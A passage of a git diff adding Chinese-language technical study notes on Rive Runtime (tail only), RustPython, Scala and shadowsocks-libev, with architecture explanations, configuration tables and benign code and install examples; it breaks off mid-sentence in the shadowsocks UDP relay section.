**混用 `animations` 与 `stateMachines` 参数** — 同一次 `useRive` 里分清播线性动画还是状态机 +- **版本不匹配** — `@rive-app/react-canvas` major 升级常伴随 WASM 破坏性变更,按 [Migration](https://rive.app/docs/runtimes/web/migrating-from-rive-js) 文档升级 +- **C++ 集成** — Renderer 后端要与平台 GPU API 对齐;无 GPU 时只能走 Skia 等备用路径,性能特征不同 + +--- + +## 和本仓库其他笔记的关系 + +- 网页时间轴补间、滚动叙事可看 [GSAP](/docs/projects/gsap) +- 2D 游戏骨骼管线对照 [Spine Runtimes](/docs/projects/spine-runtimes) +- Flutter 技术栈下 Rive 官方编辑器本身也用 Flutter 重写,可与 [Flutter 生态](/docs/projects/flutterfire) 项目一并规划 +- 做 E2E 时若页面含 Rive canvas,测试工具需等待 canvas 绘制完成,可参考 [Playwright](/docs/projects/playwright) 的 auto-wait 思路 + +--- + +## 小结 + +Rive Runtime 不是「又一个 GIF 播放器」,而是加载 `.riv`、用**状态机**响应输入、用**矢量渲染器**上屏的跨平台引擎。日常开发记住两条线即可: + +**产品集成(Web/React)**:`useRive` 加载 → `useStateMachineInput` 改输入 → 渲染 `RiveComponent` + +**底层(C++/游戏)**:`File` → `ArtboardInstance` → `StateMachineInstance::advanceAndApply` → `draw(Renderer)` + +设计师在编辑器里定义的交互边界,由 Runtime 忠实执行;你的代码主要负责**何时改 Bool、何时 fire Trigger、何时监听状态变化**——剩下的混合与绘制交给 `rive-runtime`。 diff --git a/src/content/docs/projects/rustpython.md b/src/content/docs/projects/rustpython.md new file mode 100644 index 000000000..5866f115d --- /dev/null +++ b/src/content/docs/projects/rustpython.md @@ -0,0 +1,243 @@ +--- +title: RustPython — Rust 写的 Python 解释器 +来源: https://github.com/RustPython/RustPython +日期: 2026-06-13 +子分类: 语言运行时 +分类: 编译器 +provenance: pipeline-v3 +--- + +## 是什么 + +**RustPython** 是 [RustPython/RustPython](https://github.com/RustPython/RustPython) 维护的 **Python 3 解释器**,主体用 **Rust** 写成,目标兼容 **CPython ≥ 3.11** 的语义与标准库子集。它不是「在 Rust 里调用 CPython」的绑定层,而是从词法分析、编译到虚拟机执行**整条链路都在 Rust 生态内完成**——可以当独立 CLI 跑脚本,可以 **embed(嵌入)** 进 Rust 应用当脚本引擎,也可以编译成 **WebAssembly(WASM)** 在浏览器里跑 Python。 + +日常类比:如果把 **CPython** 想成一家用 C 砌墙、用 decades 旧管道接水的**老牌中央厨房**,那 **RustPython** 更像用现代钢结构重盖的**分店**: + +- **Parser(解析器)** 像进货验收台:把 `.py` 源码拆成 token,再搭成 AST(抽象语法树);RustPython 复用 Ruff 项目的 `ruff_python_parser`,站在成熟解析器肩膀上; +- **Compiler(编译器)** 像中央配菜间:把 AST 降成 Python **字节码(bytecode)**,并做符号表、闭包 cell 等分析; +- **VM(虚拟机)** 像流水线灶台:栈式解释器按 opcode 取指、操作数栈与局部变量区(`LocalsPlus`)执行; +- **Embed 模式** 像给 Rust 主程序装了一个**可编程遥控器**——游戏引擎、CLI 工具、桌面应用用 Python 写插件,不用单独部署 CPython; +- **WASM 目标** 像把整套厨房装进**集装箱**:编译成 WASI 模块后,用户打开网页就能在浏览器里 `print("hello")`,无需服务器端 Python 环境。 + +和 **PyPy**(RPython 自举 + tracing JIT)、**GraalPy**(JVM 上 Truffle)同属「语言替代实现」谱系;RustPython 的差异化卖点是 **Rust 内存安全 + 无 C 运行时依赖 + 可嵌 Web**,适合「Rust 主工程 + Python 脚本层」或「浏览器内 Python」两类场景。 + +## 为什么重要 + +不懂 RustPython,下面这些话题很难讲透: + +- **为什么能在浏览器里跑 Python 而不装服务器**——整解释器可编译为 WASM,配合 WASI 提供受限系统接口 +- **Rust 应用如何内嵌脚本语言**——`InterpreterBuilder` 在进程内启动 `VirtualMachine`,比 fork 子进程调 `python` 更轻 +- **解释器流水线长什么样**——从源码到 AST、字节码、frame 执行,与 CPython 概念对齐但实现语言不同 +- **手写 C 扩展 vs Rust `#[pymodule]`**——RustPython 用过程宏把 Rust 函数/类暴露给 Python,类型经 `IntoPyObject` 桥接 +- **与 CPython 生态的差距在哪**——C API 扩展、部分 stdlib、性能与 3.12+ 新特性仍在追赶;生产默认运行时仍是 CPython + +## 核心概念 + +### 1. Python 实现谱系中的位置 + +| 实现 | 实现语言 | 典型卖点 | 与 RustPython 对比 | +|------|----------|----------|-------------------| +| **CPython** | C | 官方参考、生态最全 | RustPython 语义对齐目标,非绑定 | +| **PyPy** | RPython → C + JIT | CPU 密集纯 Python 更快 | PyPy 更成熟;RustPython 偏嵌入/WASM | +| **MicroPython** | C | MCU、裁剪 | 体积极小;RustPython 面向桌面/浏览器 | +| **GraalPy** | Java / Truffle | JVM 多语言 | 宿主不同 | +| **RustPython** | Rust | 嵌入 Rust、WASM、无 CPython 依赖 | 本笔记主题 | + +### 2. 三阶段流水线:Parser → Compiler → VM + +官方 [architecture 文档](https://github.com/RustPython/RustPython/blob/main/architecture/architecture.md) 把解释器拆成三段: + +``` +源码 (.py) + ▼ Parser ruff_python_parser → AST + ▼ Compiler rustpython-compiler → CodeObject(字节码 + 元数据) + ▼ VM rustpython-vm → run_code_obj,栈式执行 +``` + +`src/lib.rs` 的 `run()` 是 CLI 主入口:解析 `Settings`(命令行与环境变量),经 `InterpreterBuilder` 构造 `VirtualMachine`,再按 `RunMode` 分发到脚本、`-c` 命令、`-m` 模块或 REPL。 + +### 3. Crate 组织(仓库结构) + +| Crate / 目录 | 职责 | +|--------------|------| +| `rustpython`(顶层 binary) | CLI、`run_shell`、pip 安装逻辑 | +| `ruff_python_parser` / `ruff_python_ast` | 词法、语法、AST(外部依赖,与 Ruff linter 同源) | +| `rustpython-compiler` | AST → 字节码、符号表、优化 | +| `rustpython-vm` | `VirtualMachine`、内置类型、部分 stdlib 的 Rust 实现 | +| `Lib/` | 纯 Python 标准库(symlink 管理,Windows 需 `git config core.symlinks true`) | + +执行热点在 VM 的**解释器循环**:按 `Instruction` / opcode 分派,配合 **零成本异常表(exception table)** 查找 handler,而非 CPython 早期的 block 栈模型。 + +### 4. VirtualMachine 与 Frame + +`VirtualMachine` 是运行时中枢:内置模块表、线程帧栈、导入系统、信号与多线程同步。每次函数调用对应 `InterpreterFrame`(经 `FrameRef` 引用),持有: + +- 指令指针(IP) +- **LocalsPlus**:把 fast locals、cell 变量、求值栈**拼成一块连续内存**,减少分配与 cache miss +- 对应该 `CodeObject` 的常量表、名称表 + +协程/生成器在 frame 上标记为可挂起;异常沿 exception table 跳转,与 Python 3.11+ 的表格化异常处理思路一致。 + +### 5. CLI 执行模式(与 CPython 对齐) + +| 模式 | 示例 | 说明 | +|------|------|------| +| 脚本 | `rustpython script.py` | 执行文件;目录含 `__main__.py` 可当包运行 | +| 命令 | `rustpython -c "print(42)"` | 执行字符串 | +| 模块 | `rustpython -m http.server` | 以模块方式运行 | +| REPL | `rustpython` | 交互式,非 WASM 平台用 `rustyline` | + +启用 `ssl` 相关 feature 后可 `--install-pip` 安装 pip,在 venv 里更接近日常 Python 开发体验。默认 HTTPS 走 `ssl-rustls-aws-lc`;嵌入方可换 `ssl-openssl` 等。 + +### 6. 嵌入 Rust 应用:InterpreterBuilder + +库模式推荐用 **builder** 构造解释器,而不是直接 new 裸 VM: + +```rust +use rustpython::vm::{Interpreter, Settings}; + +fn main() -> rustpython::vm::PyResult<()> { + let settings = Settings::default(); + let interp = Interpreter::with_init(settings, |vm| { + // 可在此注册自定义扩展模块 + Ok(()) + })?; + interp.enter(|vm| { + vm.run_string("print('Hello from embedded Python')", rustpython::vm::compiler::Mode::Exec, "".to_owned(), rustpython::vm::compiler::CompileOpts::default()) + })?; + Ok(()) +} +``` + +典型用途:游戏 mod、配置 DSL、自动化插件——主程序用 Rust 保证性能与安全边界,业务逻辑用 Python 快速迭代。 + +### 7. 从 Rust 暴露 API 给 Python:`#[pymodule]` + +RustPython 用过程宏定义扩展模块,与 PyO3 风格相近: + +```rust +use rustpython::vm::pymodule; + +#[pymodule] +mod my_math { + #[pyfunction] + fn add(a: i32, b: i32) -> i32 { + a + b + } + + #[pyattr] + const PI: f64 = 3.141592653589793; +} +``` + +Python 侧 `import my_math` 后即可 `my_math.add(1, 2)`。参数与返回值需实现 `IntoPyObject` / `FromArgs`;错误用 `PyResult` 与 `vm.new_*_error` 抛出。 + +### 8. WebAssembly 与 WASI + +`wasm32-wasi` 目标可把解释器打成独立模块,在浏览器(配合 JS glue)或边缘 WASI 运行时中执行 Python。官网提供 [在线 demo](https://rustpython.github.io/):输入代码即在 WASM 内跑通,证明「无服务器 Python」路径可行。限制包括:文件系统、网络、线程能力受宿主沙箱约束,与原生构建不同。 + +### 9. 实验性 JIT + +带 `jit` feature 编译时,可对函数调用 `__jit__()` 尝试编译为本地代码(依赖 LLVM 等,**非常实验性**)。日常学习与嵌入场景以解释执行为主,不要指望 PyPy 级加速。 + +### 10. 与 CPython 的差异与预期 + +- **兼容性**:大量纯 Python 与 stdlib 可跑;依赖 **C API 扩展**(如部分 NumPy 轮子)常需专用构建或不可用 +- **性能**:解释型路径通常慢于 CPython 3.11+ 特化解释器与 PyPy JIT +- **版本追踪**:目标对齐 CPython 3.11+,新语法/标准库持续 port 中 +- **文档**:用户指南与 API 文档在演进,读源码与 `architecture/` 仍很重要 + +## 代码示例 + +### 示例 1:安装与命令行快速验证 + +```bash +# 从 Git 安装 CLI(需已安装 Rust stable) +cargo install --git https://github.com/RustPython/RustPython rustpython + +# 一行命令 +rustpython -c "import sys; print(sys.version); print(sum(range(10)))" + +# 保存为 hello.py 后执行 +# print("Hello", "RustPython") +rustpython hello.py + +# 交互 REPL +rustpython +``` + +期望看到版本字符串与 `45`(`sum(range(10))`)。若需 pip,构建时启用 SSL feature 后执行 `rustpython --install-pip`,再在 venv 中使用。 + +### 示例 2:纯 Python 脚本——类、异常与模块路径 + +`demo_pkg/greet.py`: + +```python +"""RustPython 下的普通 Python 代码通常无需修改。""" + +class Greeter: + def __init__(self, name: str): + self.name = name + + def hello(self) -> str: + return f"Hello, {self.name}!" + +def main(): + g = Greeter("RustPython") + print(g.hello()) + try: + 1 / 0 + except ZeroDivisionError as e: + print("caught:", type(e).__name__) + +if __name__ == "__main__": + main() +``` + +```bash +rustpython demo_pkg/greet.py +``` + +输出应包含 `Hello, RustPython!` 与 `caught: ZeroDivisionError`。这段代码强调:**语义层仍是 Python**——类、异常、dunder 与 CPython 教程一致;差异多在底层 IO、扩展与性能,不在语法表面。 + +### 示例 3:在 Rust 中注册模块并执行 Python + +概念片段(需将 `my_math` 注册进 `Interpreter::with_init` 的回调,具体 API 以仓库当前 `examples/` 为准): + +```rust +// 注册后,在 enter 闭包内: +vm.run_string( + r#" +import my_math +print(my_math.PI) +print(my_math.add(40, 2)) +"#, + rustpython::vm::compiler::Mode::Exec, + "".into(), + Default::default(), +)?; +``` + +Rust 实现的 `add` 与常量 `PI` 在 Python 命名空间可见,说明 **双向边界**:Rust 主程序 + Python 脚本 + Rust 扩展模块三层可共存。 + +## 从零学习路径 + +1. **先会 CPython 基础**:`import`、`def`、类、异常、venv;否则难以判断「是 RustPython bug 还是用法问题」。 +2. **本地跑通 CLI**:`cargo install` 或 `git clone` 后 `cargo run --release -- -c "print(1)"`(Windows 建议 `--release` 防栈溢出)。 +3. **读架构一页纸**:[architecture/architecture.md](https://github.com/RustPython/RustPython/blob/main/architecture/architecture.md) 对照 `crates/vm`、`crates/compiler` 目录浏览。 +4. **试 WASM demo**:打开 [rustpython.github.io](https://rustpython.github.io/),理解浏览器场景约束。 +5. **做一个最小 embed**:复制官方 `examples` 里嵌入示例,加载一段 `run_string`。 +6. **贡献入口**:`DEVELOPMENT.md` 说明测试、`Lib/` 与 Rust stdlib 分工;可从 port 单个纯 Python 标准库模块或修 failing CPython unit test 入手。 + +## 与其他笔记的对照 + +| 笔记 | 关系 | +|------|------| +| [[cpython]] | 语义与字节码概念的「标准答案」参照 | +| [[pypy]] | 另一种自举路线,侧重 JIT 性能 | +| [[wasmtime]] / [[wasmer]] | WASM 运行时宿主;RustPython 可编译为 wasm 模块在其中跑 | +| [[micropython]] | 嵌入式裁剪;RustPython 偏桌面与浏览器完整解释器 | + +## 小结 + +**RustPython** 用 Rust 重写 Python 3 解释器全栈,使 Python 能作为 **Rust 应用的嵌入式脚本**、并具备 **编译到 WebAssembly** 的部署路径。核心仍是 **解析 → 编译字节码 → 栈式 VM 执行** 的经典模型,工程上通过 Ruff 解析器、`LocalsPlus` 帧布局、过程宏互操作等现代 Rust 实践落地。它尚未取代 CPython 成为默认运行时,但对学习「解释器如何实现」、探索 Rust 与 Python 混合架构、在浏览器内跑 Python 实验,是一个文档齐全、开源活跃(MIT)的入口。 diff --git a/src/content/docs/projects/scala.md b/src/content/docs/projects/scala.md new file mode 100644 index 000000000..1f0e66d62 --- /dev/null +++ b/src/content/docs/projects/scala.md @@ -0,0 +1,255 @@ +--- +title: Scala — 函数式 + OO 的 JVM 语言 +来源: https://github.com/scala/scala +日期: 2026-06-13 +子分类: 语言运行时 +分类: 编译器 +provenance: pipeline-v3 +--- + +## 是什么 + +**Scala**(Scalable Language)由 Martin Odersky 在 EPFL 主导设计,2004 年首次发布,官方编译器与标准库托管于 [scala/scala](https://github.com/scala/scala)。它运行在 **JVM** 上,与 Java 字节码互操作;也可编译到 **JavaScript**(Scala.js)与 **WebAssembly**(Scala Native / Scala.js 生态)。当前主流版本为 **Scala 3**(2021 起),在保留 Scala 2 生态的同时简化了隐式、枚举与类型推导。 + +日常类比:如果把 **Java** 想象成一家规矩森严的**连锁超市**——分区清晰(类与接口)、进货渠道固定(继承树)、收银流程统一(样板代码多);那 **Scala** 像是同一商圈里的**融合料理餐厅**: + +- **后厨既会做中餐也会做西餐**(OOP 的类/特质 + FP 的不可变集合与高阶函数),同一道菜可以用不同技法完成; +- **菜单用「套餐组合」代替冗长说明**(`case class` + 模式匹配),点「宫保鸡丁」不必逐条写辣椒、花生、鸡肉; +- **地下通道直连超市仓库**(与 Java 互操作),你可以只把新菜放在融合餐厅,原料仍从 Java 货架取; +- **主厨带学徒时会说「缺什么自己从备料台拿」**(`given` 隐式实例 / 旧版 `implicit`),写 JSON 序列化不必每个类型手写一遍。 + +Scala 在 **Apache Spark**(大数据)、**Akka / Pekko**(Actor 并发)、**Play Framework**(Web)、**Cats / ZIO**(函数式库)等生态中仍是核心语言;Kotlin 崛起后,Scala 更偏向「需要强表达力与类型抽象」的团队,而非 Android 首选。 + +## 为什么值得学 + +零基础或从 Java 转 Scala,常见收益: + +| 痛点(Java / 传统 OOP) | Scala 的应对 | +|-------------------------|--------------| +| `if`/`switch` 与表达式割裂,临时变量多 | **一切皆表达式**:`if`、`match`、`for` 都有返回值 | +| POJO + getter/setter + `equals` 冗长 | **`case class`** 自动生成相等性、`copy`、`toString` | +| `instanceof` + 强制转型易漏分支 | **`match` 模式匹配** + `sealed trait` 编译期穷尽检查 | +| 回调与线程安全难写 | **不可变集合** + **Future** / **Actor** / **ZIO** 等组合子 | +| 想复用 Java 资产 | 同一 JVM 类路径,直接 `import java.util._` | + +即使不主力写 Scala,懂它也有助于理解 **Spark SQL**、**Kafka Streams** 部分 API、以及 **TypeScript / Kotlin** 里「代数数据类型 + 模式匹配」的设计来源。 + +## 核心概念 + +### 1. 编译管线:从 `.scala` 到 JVM + +``` +┌────────────────────────────────────────────────────────────┐ +│ 源码 .scala / .sc(脚本) │ +├────────────────────────────────────────────────────────────┤ +│ Scala 编译器(scalac,Scala 3 起部分用 Dotty 重写) │ +│ → JVM:.class 字节码(与 javac 产物互操作) │ +│ → Scala.js:JavaScript │ +│ → Scala Native:LLVM 原生二进制(实验/专用场景) │ +├────────────────────────────────────────────────────────────┤ +│ 运行时:JVM HotSpot + Java 标准库 + Scala 标准库 │ +└────────────────────────────────────────────────────────────┘ +``` + +构建工具常用 **sbt**(Scala 原生)、**Mill**,或与 Java 项目混用 **Maven** / **Gradle**(`scala` 插件)。 + +### 2. 纯面向对象:一切皆对象 + +Scala 是 **纯 OOP** 语言:数字 `42`、函数本身都是对象;`+`、`-` 等运算符实际是方法调用(`1.+(2)`)。没有 Java 式的原始类型(`int` 在运行时是 `Integer` 或值类的包装)。 + +类与 **trait**(特质)描述行为;**单例对象**(`object`)代替 Java 的 `static`,也是模块与伴生对象的载体。 + +### 3. 纯函数式:函数是一等公民 + +函数可以赋值、作为参数传递、嵌套定义;标准库提供 `map`、`filter`、`foldLeft` 等组合子。**不可变**集合(`List`、`Vector`、`Map`)是默认推荐;可变版本在 `scala.collection.mutable` 包中。 + +```scala +val nums = List(1, 2, 3, 4, 5) +val evensSquared = nums + .filter(_ % 2 == 0) + .map(x => x * x) +// List(4, 16) +``` + +`_` 是占位符语法:`_ % 2 == 0` 等价于 `x => x % 2 == 0`(单参数时)。 + +### 4. `val` 与 `var`:默认不可变 + +- **`val`**:引用不可重新绑定(对象内部可变字段除外)。 +- **`var`**:可重新赋值,函数式风格中尽量少用。 + +```scala +val name: String = "Scala" +val year = 2004 // 类型推断为 Int +var downloads = 1_000_000 +downloads += 1 // 仅 var 允许 +``` + +### 5. `case class` 与代数数据类型(ADT) + +`case class` 介于 Java `record` 与函数式 ADT 之间:构造即工厂、自动 `equals`/`hashCode`、支持模式匹配解构。 + +```scala +enum Status: + case Ok(data: String) + case Err(code: Int, msg: String) + +def describe(s: Status): String = s match + case Status.Ok(d) => s"成功: $d" + case Status.Err(c, m) => s"错误 $c: $m" +``` + +Scala 3 的 **`enum`** 是官方推荐的封闭 ADT 写法;Scala 2 常用 `sealed trait` + 多个 `case class`。 + +### 6. 模式匹配 `match` + +`match` 是增强版 `switch`:可按类型、结构、守卫条件分支;对 **`sealed`** 层次结构,编译器可警告 **非穷尽匹配**。 + +```scala +sealed trait Shape +case class Circle(r: Double) extends Shape +case class Rect(w: Double, h: Double) extends Shape + +def area(s: Shape): Double = s match + case Circle(r) => math.Pi * r * r + case Rect(w, h) => w * h +``` + +### 7. Trait 与混入组合 + +Scala 用 **trait** 实现接口 + 可选默认实现;**混入(mixin)** 在类定义时 `extends A with B with C`,避免 Java 单继承的僵硬。Scala 3 中 trait 可带参数,更接近「可配置模块」。 + +### 8. 隐式与 `given`(Scala 3) + +Scala 2 的 **`implicit`** 可自动注入参数、类型类实例、转换,强大但易滥用。Scala 3 用 **`given` / `using`** 显式化「编译器代劳的上下文」,并配合 **extension methods** 为既有类型添加方法。 + +典型用途:JSON 编解码(**circe**、**play-json**)、数据库行映射、类型类(type class)模式——与 Haskell 的 `TypeClass` 类似,但落在 JVM 上。 + +### 9. 与 Java 互操作 + +- Scala 调用 Java:Java 集合、注解、泛型擦除与 Scala 泛型需注意;Java 的 `null` 在 Scala 3 可用 **`Option`** 或实验性 **显式 null** 类型收紧。 +- Java 调用 Scala:伴生对象的 `static` 转发、默认参数由 **`@annotation`** 生成重载;避免在 Java 里依赖过于「Scala 味」的 API 表面。 +- 同一 sbt/Maven 模块可混放 `.scala` 与 `.java`。 + +### 10. Scala 2 与 Scala 3 + +| 维度 | Scala 2.13 | Scala 3(Dotty) | +|------|------------|------------------| +| 语法 | 广泛存量生态 | 简化 `given`、**enum**、**export**、**opaque type** | +| 类型 | 隐式解析复杂 | 匹配类型、内联更统一 | +| 迁移 | Spark 等仍支持 2.13 | 可用 **Scala 3 Migration Guide** 渐进升级 | + +入门建议:新项目优先 **Scala 3**;维护 Spark 2.x 作业可能仍停留在 2.12/2.13。 + +## 代码示例一:表达式树求值(ADT + 模式匹配) + +下面实现一个简单的算术表达式树,展示 `enum`、`match` 与递归: + +```scala +enum Expr: + case Num(value: Int) + case Add(left: Expr, right: Expr) + case Mul(left: Expr, right: Expr) + +def eval(e: Expr): Int = e match + case Expr.Num(v) => v + case Expr.Add(l, r) => eval(l) + eval(r) + case Expr.Mul(l, r) => eval(l) * eval(r) + +@main def demo(): Unit = + // 表达式 (1 + 2) * 3 + val tree = Expr.Mul(Expr.Add(Expr.Num(1), Expr.Num(2)), Expr.Num(3)) + println(eval(tree)) // 9 +``` + +要点:`match` 的每个分支既是分支又是解构;若漏掉 `Mul`,在 `sealed enum` 下编译器会提示非穷尽。这与 Java 17+ `switch` 模式、`instanceof` 相比,结构更清晰。 + +## 代码示例二:不可变数据更新与集合管道 + +模拟用户积分流水:用 `case class`、`copy` 与函数式链式处理: + +```scala +case class User(id: Long, name: String, points: Int) + +case class Event(userId: Long, delta: Int) + +def applyEvents(users: Map[Long, User], events: List[Event]): Map[Long, User] = + events.foldLeft(users) { (acc, ev) => + acc.get(ev.userId) match + case Some(u) => + acc.updated(ev.userId, u.copy(points = u.points + ev.delta)) + case None => acc + } + +@main def ledger(): Unit = + val users = Map( + 1L -> User(1, "Ada", 100), + 2L -> User(2, "Grace", 50) + ) + val events = List( + Event(1, 10), + Event(2, -5), + Event(1, 5) + ) + val result = applyEvents(users, events) + println(result(1).points) // 115 + println(result(2).points) // 45 +``` + +要点:没有原地修改 `User`;`copy` 生成新实例,`foldLeft` 从左累积新 `Map`。在并发场景下,不可变结构更容易推理(仍需注意 `var` 与可变集合)。 + +## 工具链与环境 + +| 工具 | 用途 | +|------|------| +| **sbt** | 事实标准构建工具,`build.sbt` 声明依赖与 Scala 版本 | +| **IntelliJ IDEA** + Scala 插件 | IDE 支持、调试、重构 | +| **Metals** | VS Code / Cursor 的 Scala 语言服务 | +| **scalac** / **scala-cli** | 命令行编译;`scala-cli` 适合脚本与单文件实验 | +| **[docs.scala-lang.org](https://docs.scala-lang.org/)** | 官方文档、Tour of Scala、Scala 3 Book | +| **Scalafmt** / **WartRemover** | 格式化与 lint | + +快速体验(需安装 [scala-cli](https://scala-cli.virtuslab.org/) 与 JDK 17+): + +```bash +scala-cli repl +# 或 +scala-cli run MyApp.scala +``` + +sbt 最小项目: + +```bash +sbt new scala/scala3.g8 +cd +sbt run +``` + +## 学习路径建议 + +1. **语法基础**:官方 [Tour of Scala](https://docs.scala-lang.org/tour/tour-of-scala.html) — `val`/`var`、函数、类、trait、`object`。 +2. **函数式习惯**:不可变集合、`map`/`flatMap`/`fold`、`Option`/`Either` 代替 `null` 与异常控制流。 +3. **ADT 与 `match`**:[Scala 3 Book — ADT](https://docs.scala-lang.org/scala3/book/types-adts.html),用 `enum` 建模业务状态机。 +4. **选方向深入**: + - 大数据 → Apache Spark(Dataset API、Spark SQL) + - 并发 → Pekko Actor、ZIO、Cats Effect + - Web → Play Framework、http4s、Tapir + - 类型级编程 → Shapeless、Scala 3 `inline` / `Mirror`(进阶) + +与专题笔记 [[openjdk]] 对照:Scala 编译为 `.class` 后仍由 **HotSpot** JIT 与 **GC** 管理;换的是 **抽象能力与组合方式**。与 [[kotlin]] 对比:两者都瞄准 JVM 现代语法,Scala 更强调 **FP + 类型类 + 隐式(given)**,Kotlin 更强调 **空安全 + 协程 + Android 官方支持**。 + +## 常见误区 + +- **「Scala 语法太复杂,没法读」** — 团队应约定子集(如禁用过于炫技的隐式);业务代码可保持与 Kotlin 相近的简洁度。 +- **「学完 Scala 就不用学 Java」** — 读 Hadoop/Spark 周边、Spring 老项目、Maven 插件仍需要 Java 底子。 +- **到处用 `var` 和 `mutable`** — 失去不可变带来的可维护性;仅在性能热点或互操作处使用可变。 +- **Scala 2 与 3 混用不查版本** — 依赖库需对齐 `%%` artifact 的 Scala 二进制版本(如 `_3` 后缀)。 +- **把 Spark 当成语言本身** — Spark 是分布式计算框架;Scala 是编写 Driver/Executor 逻辑的语言之一(另有 PySpark、SparkR)。 + +## 延伸阅读 + +- 官方仓库:[github.com/scala/scala](https://github.com/scala/scala) +- Scala 3 新特性:[What's new in Scala 3](https://docs.scala-lang.org/scala3/new-in-scala3.html) +- Java 开发者视角:[Scala for Java Developers](https://docs.scala-lang.org/scala3/book/scala-for-java-devs.html) +- 设计哲学(Martin Odersky):[Unifying FP and OO with Scala](https://cacm.acm.org/research/unifying-functional-and-object-oriented-programming-with-scala/)(CACM) +- 本库相关笔记:[[openjdk]](JVM 底座)、[[kotlin]](另一 JVM 现代语言)、[[apache-spark]](若已收录 Spark 生态) diff --git a/src/content/docs/projects/shadowsocks-libev.md b/src/content/docs/projects/shadowsocks-libev.md new file mode 100644 index 000000000..1ec043d52 --- /dev/null +++ b/src/content/docs/projects/shadowsocks-libev.md @@ -0,0 +1,299 @@ +--- +title: shadowsocks-libev — 用 C 与 libev 实现的高性能 Shadowsocks 代理 +来源: https://github.com/shadowsocks/shadowsocks-libev +日期: 2026-06-13 +子分类: 嵌入式 +分类: 操作系统 +provenance: pipeline-v3 +--- + +## 是什么 + +**shadowsocks-libev** 是经典代理协议 [Shadowsocks](https://shadowsocks.org/) 的 **C 语言实现**,基于 [libev](https://libev.schmorp.de/) 事件循环,目标是**低内存占用、高并发、跨平台**。它把本地应用发出的流量加密后,经 UDP/TCP 隧道送到远端 `ss-server`,再由服务器代你访问目标网站;对应用来说,本地只看到一个 **SOCKS5 代理**(`ss-local`)或透明劫持入口(`ss-redir`)。 + +日常类比: + +- **普通 HTTP 代理**像酒店前台:你报房间号,前台帮你转电话,但通话内容前台听得一清二楚。 +- **Shadowsocks**像你把信装进**带密码锁的合金信封**,交给一位只认暗号的快递员;快递员把信封送到境外分拣中心(`ss-server`),在那里拆封、代你寄出真正的明信片。沿途路人只能看到「有个合金盒子在跑」,不知道里面写了什么、寄给谁。 +- **shadowsocks-libev** 则是这位快递员里**练长跑、饭量还小的那位**——同样活,占的 CPU/内存更少,路由器、小 VPS 上跑得动。 + +项目由 [shadowsocks/shadowsocks-libev](https://github.com/shadowsocks/shadowsocks-libev) 维护,是 clowwindy 原版 Python 实现之后社区最广泛部署的 **libev 分支**;与 shadowsocks-rust、go-shadowsocks2 等同属协议的不同实现,**客户端与服务端只要密码、加密方式、插件参数一致即可互通**。 + +## 为什么重要 + +Shadowsocks 解决的是「**在不可信链路上,让 TCP/UDP 流量看起来像随机噪声**」这一工程问题,常见于: + +- 跨境访问被中间设备按 SNI/域名特征干扰的场景 +- 嵌入式设备、OpenWrt 路由器上跑代理(内存只有几十 MB) +- 需要 **UDP 中继**(DNS、QUIC、部分游戏)而不仅是 TCP HTTP 代理 + +选 **libev 版**而不是 Python 原版的理由很实际: + +| 维度 | shadowsocks-libev | 典型 Python 实现 | +|------|-------------------|------------------| +| 运行时 | 单进程 C + libev | 解释器 + 多线程/协程 | +| 内存 | 路由器上常见 < 10 MB | 往往数十 MB 起 | +| 组件 | server / local / redir / tunnel / manager 分工明确 | 功能相对集中 | +| 透明代理 | `ss-redir` + iptables 成熟文档 | 依赖额外工具 | + +不理解五个二进制各自干什么,很容易配错模式——例如把 `ss-server` 的配置直接给 `ss-local` 用,或忘了在透明代理里 **排除 SS 服务器自身 IP** 造成流量环路。 + +## 核心概念 + +### 1. 五个可执行文件,五种角色 + +官方文档把 shadowsocks-libev 拆成五个程序: + +| 程序 | 部署位置 | 作用 | +|------|----------|------| +| `ss-server` | 境外/公网 VPS | 监听端口,解密客户端流量并代为连接目标 | +| `ss-local` | 本机/局域网 | 开本地 SOCKS5(默认 `127.0.0.1:1080`),应用连它 | +| `ss-redir` | 网关/OpenWrt | **透明代理**:配合 iptables REDIRECT/TPROXY 劫持 TCP/UDP | +| `ss-tunnel` | 本机 | 把本地某端口转发到远端指定地址(类似 SSH `-L`) | +| `ss-manager` | 服务端 | 多用户/多端口管理,通过 Unix socket API 动态增删实例 | + +数据路径(最常见 `ss-local` 模式): + +``` +浏览器/App → SOCKS5 127.0.0.1:1080 → ss-local 加密 + → 互联网 → ss-server 解密 → 目标网站 + ← 原路返回 ← +``` + +### 2. Shadowsocks 协议在干什么 + +协议层(与实现语言无关)可以概括成三步: + +1. **握手**:客户端用预共享密码派生密钥,协商加密方式(现代部署首选 AEAD) +2. **地址头**:加密载荷里带上目标地址类型(域名/IP)、端口 +3. **载荷流**:之后每个 TCP 片段或 UDP 报文都带独立 nonce,AEAD 校验完整性 + +因此中间人看到的是「到 VPS 某端口的高熵字节流」,而不是明文 HTTP `Host:` 或 TLS SNI——**不等于 VPN**,没有虚拟网卡,也不路由整台机器的全部 IP 包(除非你用 `ss-redir` 做网关级劫持)。 + +### 3. 加密方式(cipher / method) + +`ss-server` 与 `ss-local` 的 `-m` / JSON `method` **必须一致**。libev 版支持多种算法,**默认 `chacha20-ietf-poly1305`**(在缺少 AES 硬件加速的 ARM/MIPS 路由器上往往比 AES 更快)。 + +推荐优先级(2020 年代后的新部署): + +- **AEAD**:`chacha20-ietf-poly1305`、`aes-256-gcm`、`xchacha20-ietf-poly1305` +- **避免**:`aes-256-cfb`、`rc4-md5` 等老流 cipher(无完整性校验,易被主动篡改) + +密码字段 `password` 是 UTF-8 字符串,双方相同即可;也可用 `--key` 传 URL-safe Base64 编码的原始密钥(管理场景更常见)。 + +### 4. JSON 配置与命令行映射 + +所有组件统一读 JSON 配置文件(`-c config.json`),命令行参数可覆盖文件。常见字段: + +| JSON 字段 | 含义 | +|-----------|------| +| `server` / `server_port` | 远端地址与端口(客户端)或监听端口(服务端) | +| `local_address` / `local_port` | 本地 SOCKS5 绑定地址(仅客户端) | +| `password` / `method` | 预共享密钥与加密算法 | +| `timeout` | 空闲超时秒数,默认 60 | +| `mode` | `tcp_only` / `tcp_and_udp` / `udp_only` | +| `fast_open` / `reuse_port` | Linux TCP Fast Open、SO_REUSEPORT | +| `plugin` / `plugin_opts` | 外挂混淆插件(如 simple-obfs,已逐步被 TLS 类方案取代) | +| `port_password` | 仅 `ss-manager`:多端口多密码表 | + +### 5. TCP 与 UDP 中继 + +- 默认只代理 **TCP**;加 `-u` 或 `"mode": "tcp_and_udp"` 才开 **UDP 中继**(DNS、QUIC 需要) +- `ss-redir` 下 UDP 要走 **TPROXY** + `ip rule`,配置难度明显高于 